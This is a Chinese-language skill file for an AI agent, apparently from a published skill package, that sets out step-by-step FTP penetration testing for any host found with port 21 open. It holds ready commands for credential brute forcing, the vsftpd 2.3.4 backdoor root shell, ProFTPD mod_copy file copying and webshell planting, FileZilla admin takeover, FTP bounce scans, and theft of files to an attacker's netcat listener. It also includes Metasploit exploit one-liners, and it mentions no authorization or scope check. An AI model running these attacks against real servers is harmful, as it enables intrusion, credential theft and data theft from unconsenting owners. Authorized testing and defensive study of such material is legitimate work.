ftp-pentesting
$
npx mdskill add wgpsec/AboutSecurity/ftp-pentestingExecute FTP penetration tests on exposed port 21 services.
- Automates service discovery, version identification, and vulnerability exploitation.
- Integrates with nmap, nc, openssl, lftp, and Hydra for credential attacks.
- Decides execution flow based on port status, login success, and file permissions.
- Delivers actionable reports on discovered credentials, backdoors, and bounce attacks.
SKILL.md
.github/skills/ftp-pentestingView on GitHub ↗
---
name: ftp-pentesting
description: |
FTP 服务(21 端口)渗透测试方法论。涵盖 FTP 服务发现与版本识别、匿名登录测试、目录遍历与文件下载、凭据爆破、已知漏洞利用(vsftpd 后门、ProFTPD 等)、FTP Bounce 攻击。
当 Agent 扫描发现 21 端口开放、需要测试 FTP 匿名访问、枚举 FTP 文件内容、或利用 FTP 服务漏洞时,触发此 Skill。
metadata:
tags:
- ftp
- 文件传输
- 21端口
- 匿名登录
- vsftpd
- proftpd
- bounce攻击
category: exploit/network-service
---
# FTP 渗透测试方法论 (21)
## 深入参考
- FTP 命令大全、Bounce 攻击细节、漏洞利用命令、配置审计 -> 读 [references/ftp-commands.md](references/ftp-commands.md)
---
## 整体决策树
```
发现 21 端口开放
├─ Phase 1: 服务发现与版本识别
│ ├─ Banner 抓取 (nc / openssl / nmap)
│ ├─ 识别 FTP 软件与版本 (vsftpd / ProFTPD / Pure-FTPd / FileZilla 等)
│ └─ 判断是否支持 TLS/SSL
│ ├─ 是 -> 使用 lftp 或 openssl s_client 连接
│ └─ 否 -> 明文协议,可直接嗅探凭据
├─ Phase 2: 匿名访问测试
│ ├─ anonymous:anonymous 登录
│ │ ├─ 成功 -> 进入 Phase 3 枚举文件
│ │ └─ 失败 -> 尝试 anonymous:(空) / ftp:ftp
│ └─ 仍失败 -> 进入 Phase 4 凭据攻击
├─ Phase 3: 目录枚举与文件下载
│ ├─ 列出全部文件 (含隐藏文件)
│ ├─ 递归下载 (wget -m)
│ ├─ 识别高价值文件 (.conf / .bak / .sql / .txt / 私钥)
│ └─ 检查可写权限
│ ├─ 可写 + Web 根目录 -> Webshell 上传 (Phase 5.3)
│ └─ 可写 + 非 Web 目录 -> 标记用于后续利用
├─ Phase 4: 凭据攻击
│ ├─ 默认凭据测试 (SecLists ftp-betterdefaultpasslist.txt)
│ ├─ Hydra / Medusa 爆破
│ └─ Nmap ftp-brute 脚本
├─ Phase 5: 漏洞利用
│ ├─ 5.1 vsftpd 2.3.4 后门 (端口 6200)
│ ├─ 5.2 ProFTPD mod_copy (SITE CPFR/CPTO)
│ ├─ 5.3 FTP 根目录映射到 Web 根目录 (XAMPP/ProFTPD)
│ └─ 5.4 FileZilla Server 管理端口 (14147)
└─ Phase 6: FTP Bounce 攻击
├─ 端口扫描 (PORT + LIST 响应判断)
├─ 协议交互 (通过 FTP 向 HTTP/其他服务发送请求)
└─ 跨 FTP 文件窃取 (中间人 Bounce 下载)
```
---
## Phase 1: 服务发现与版本识别
### 1.1 Banner 抓取
```bash
# 基础 Banner 抓取
nc -vn <IP> 21
# TLS 场景 — 获取证书和 Banner
openssl s_client -connect <IP>:21 -starttls ftp
# Nmap 服务版本探测 + 默认脚本
sudo nmap -sV -sC -p 21 <IP>
```
### 1.2 FTP 特性探测
连接后发送 `HELP`、`FEAT`、`STAT` 获取服务器支持的命令和特性信息。
```
特性探测
├─ HELP -> 列出支持的 FTP 命令
├─ FEAT -> 列出扩展特性 (AUTH TLS / UTF8 / MLST 等)
├─ STAT -> 服务器状态、版本、配置信息
└─ SYST -> 操作系统类型 (UNIX / Windows)
```
### 1.3 TLS/STARTTLS 连接
```bash
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect <IP>
lftp <IP>:~> login <username> <password>
```
### 1.4 Nmap FTP 脚本全集
```bash
nmap --script ftp-* -p 21 <IP>
```
包含匿名登录检测、Bounce 检测、版本识别等。
**关键判断**:
- vsftpd 2.3.4 -> 存在后门,立即进入 Phase 5.1
- ProFTPD 1.3.3c-1.3.5 -> 检查 mod_copy,进入 Phase 5.2
- FTP 根在 Web 目录下 -> 可上传 Webshell,进入 Phase 5.3
---
## Phase 2: 匿名访问测试
### 2.1 匿名登录尝试
```
匿名登录凭据组合
├─ anonymous : anonymous
├─ anonymous : (空)
├─ ftp : ftp
└─ anonymous : <任意邮箱>
```
```bash
ftp <IP>
# 用户名: anonymous
# 密码: anonymous
```
### 2.2 登录后基本操作
```bash
ls -a # 列出所有文件(含隐藏)
binary # 切换二进制传输模式
ascii # 切换 ASCII 传输模式
pwd # 当前目录
cd <dir> # 切换目录
bye # 退出
```
### 2.3 浏览器连接
```
ftp://anonymous:anonymous@<IP>
```
**注意**:Web 应用若将用户输入直接传递给 FTP 服务器,双重 URL 编码 `%250d%250a` 可注入 FTP 命令(CRLF 注入)。
---
## Phase 3: 目录枚举与文件下载
### 3.1 批量下载
```bash
# wget 递归镜像下载
wget -m ftp://anonymous:anonymous@<IP>
# 被动模式失败时使用主动模式
wget -m --no-passive ftp://anonymous:anonymous@<IP>
# 带特殊字符的凭据
wget -r --user="USERNAME" --password="PASSWORD" ftp://<IP>/
```
### 3.2 关注的高价值文件
```
高价值文件识别
├─ 配置文件: .conf / .cfg / .ini / .xml / web.config
├─ 备份文件: .bak / .old / .sql / .tar.gz / .zip
├─ 凭据文件: .htpasswd / shadow / passwd / id_rsa
├─ 脚本文件: .sh / .py / .php / .asp
└─ 隐藏文件: .开头的文件 (ls -a 才可见)
```
### 3.3 可写权限检查
尝试上传测试文件判断写入权限:
```bash
# FTP 客户端内
put /tmp/test.txt test.txt
# 成功 -> 可写,记录路径
# 失败 -> 无写入权限
```
-> 详细 FTP 命令参考 -> 读 [references/ftp-commands.md](references/ftp-commands.md)
---
## Phase 4: 凭据攻击
### 4.1 攻击决策树
```
凭据攻击
├─ 默认凭据
│ └─ SecLists: Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
├─ 暴力破解
│ ├─ Hydra (推荐,支持限速)
│ │ └─ hydra -t 1 -l <user> -P <wordlist> -vV <IP> ftp
│ ├─ Medusa
│ │ └─ medusa -h <IP> -u <user> -P <wordlist> -M ftp
│ └─ Nmap 脚本
│ └─ nmap --script ftp-brute -p 21 <IP>
└─ Metasploit
└─ auxiliary/scanner/ftp/ftp_login
```
### 4.2 常见默认凭据
| 用户名 | 常见密码 |
|--------|---------|
| anonymous | anonymous / (空) |
| ftp | ftp |
| admin | admin / password |
| root | root / toor |
| user | user / password |
---
## Phase 5: 漏洞利用
### 5.1 vsftpd 2.3.4 后门
**条件**:vsftpd 版本恰好为 2.3.4(被植入恶意后门)
```
vsftpd 2.3.4 后门利用
├─ 触发: 用户名包含 ":)" 字符
│ └─ 发送 USER user:) / PASS any
├─ 结果: 在端口 6200 打开 root shell
│ └─ nc <IP> 6200
└─ Metasploit:
└─ exploit/unix/ftp/vsftpd_234_backdoor
```
### 5.2 ProFTPD mod_copy (SITE CPFR/CPTO)
**条件**:ProFTPD 1.3.5 及以下,mod_copy 模块启用
```
mod_copy 利用
├─ 无需认证即可复制服务器上的文件
├─ SITE CPFR /etc/passwd # 指定源文件
├─ SITE CPTO /var/www/passwd # 复制到可访问位置
└─ 场景:
├─ 读取敏感文件 -> 复制到 Web 目录通过 HTTP 下载
└─ 写入 Webshell -> 复制 PHP 文件到 Web 根目录
```
### 5.3 FTP 根目录映射到 Web 根目录
**条件**:XAMPP/ProFTPD 等环境,FTP 根映射到 `/opt/lampp/htdocs` 或类似 Web 根目录
```
FTP -> Webshell 攻击链
├─ 1) 通过 FTP 上传 PHP Webshell (需写权限)
├─ 2) 通过 HTTP 访问触发 Webshell
├─ 3) 通过 Webshell 执行下载/反弹 Shell
└─ 若当前目录不可执行 -> 尝试 /tmp 或其他可写路径
```
### 5.4 FileZilla Server 管理端口
**条件**:FileZilla Server 运行,管理端口 14147 可达
```
FileZilla 管理攻击
├─ 端口 14147 默认空密码
├─ 建立 SSH 隧道或端口转发到本地
├─ 连接管理接口,创建新 FTP 用户
└─ 使用新用户访问 FTP 服务
```
### 5.5 其他已知漏洞
```
FTP 漏洞速查
├─ ProFTPD
│ ├─ mod_copy (SITE CPFR/CPTO) — 上文已述
│ ├─ CVE-2015-3306 — 未认证文件复制
│ └─ searchsploit proftpd
├─ vsftpd
│ ├─ 2.3.4 后门 — 上文已述
│ └─ searchsploit vsftpd
├─ Pure-FTPd
│ └─ searchsploit pure-ftpd
├─ Wu-FTPd
│ └─ searchsploit wu-ftpd
└─ 通用: searchsploit ftp
```
-> 详细漏洞利用命令 -> 读 [references/ftp-commands.md](references/ftp-commands.md)
---
## Phase 6: FTP Bounce 攻击
### 6.1 原理
FTP 的 `PORT` 命令允许客户端指定数据连接的目标 IP 和端口。如果服务器不限制第三方地址,攻击者可利用 FTP 服务器作为代理:
```
FTP Bounce 攻击面
├─ 端口扫描 — 通过响应码判断端口开放/关闭
│ ├─ 150 File status okay -> 端口开放
│ └─ 425 No connection established -> 端口关闭
├─ 协议交互 — 上传含 HTTP/FTP 命令的文件,通过 RETR 发送
└─ 跨 FTP 文件窃取 — 通过 Bounce 从内网 FTP 下载文件
```
### 6.2 Bounce 端口扫描
**手动方式**:
```bash
# 1. 连接 FTP
# 2. PORT 指向目标 IP:Port
PORT 172,32,80,80,0,80 # 扫描 172.32.80.80:80
# 或
EPRT |2|172.32.80.80|80| # IPv6 兼容格式
# 3. LIST 触发连接
# 150 -> 端口开放; 425 -> 端口关闭
```
**Nmap Bounce 扫描**:
```bash
nmap -b <user>:<pass>@<ftp_server> <victim_ip>
nmap -Pn -v -p 21,80,443 -b ftp:ftp@<ftp_server> <victim_ip>
nmap -Pn -v -p 21,22,445,80,443 -b ftp:ftp@<ftp_server> 192.168.0.1/24
```
### 6.3 Bounce 协议交互
```
通过 FTP Bounce 发送 HTTP 请求
├─ 1) 构造包含 HTTP 请求的文本文件 (行结束符 0x0d 0x0a)
├─ 2) 上传到 FTP 服务器
├─ 3) REST X — 跳过不需要发送的字节 (如文件头)
├─ 4) PORT 指向目标 HTTP 服务器
├─ 5) RETR 发送请求文件
└─ 注意: Socket not writable 错误常见
├─ 对策: 重复请求内容至 ~0.5MB
├─ 对策: 填充空字节/垃圾数据
└─ 对策: 重复 RETR 命令
```
### 6.4 跨 FTP 文件窃取
```
中间 FTP 服务器 Bounce 下载
├─ 条件: 中间服务器和目标服务器都允许 PORT 第三方地址
├─ 流程:
│ ├─ 1) 攻击者开启 TCP 监听 (nc -lvnp 2121 > loot.bin)
│ ├─ 2) 构造包含 FTP 登录+下载命令的指令文件
│ ├─ 3) 上传指令文件到中间 FTP 服务器
│ ├─ 4) PORT 指向目标 FTP 端口,RETR 触发指令执行
│ └─ 5) 目标 FTP 将文件发送到攻击者监听端口
└─ Nmap 快速检测 Bounce 可行性:
└─ nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
```
-> 完整 Bounce 攻击步骤和自动化脚本 -> 读 [references/ftp-commands.md](references/ftp-commands.md)
---
## 配置文件审计
获取访问权限后检查 FTP 服务器配置:
### 常见配置文件位置
```
FTP 配置文件
├─ /etc/vsftpd.conf # vsftpd 主配置
├─ /etc/vsftpd/vsftpd.conf # CentOS/RHEL
├─ /etc/ftpusers # 禁止 FTP 登录的用户
├─ /etc/proftpd/proftpd.conf # ProFTPD
└─ /etc/pure-ftpd/ # Pure-FTPd
```
### vsftpd 危险配置
| 配置项 | 风险说明 |
|-------|---------|
| `anonymous_enable=YES` | 允许匿名登录 |
| `anon_upload_enable=YES` | 匿名用户可上传文件 |
| `anon_mkdir_write_enable=YES` | 匿名用户可创建目录 |
| `no_anon_password=YES` | 匿名登录无需密码 |
| `write_enable=YES` | 允许 STOR/DELE/RNFR 等写入命令 |
| `chown_uploads=YES` | 匿名上传文件属主变更 |
| `local_enable=YES` | 允许本地系统用户登录 |
---
## Metasploit 快速参考
```bash
# 匿名登录检测
msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS <IP>; set RPORT 21; run; exit'
# 版本探测
msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS <IP>; set RPORT 21; run; exit'
# 目录遍历检测
msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS <IP>; set RPORT 21; run; exit'
# vsftpd 后门利用
msfconsole -q -x 'use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS <IP>; run; exit'
```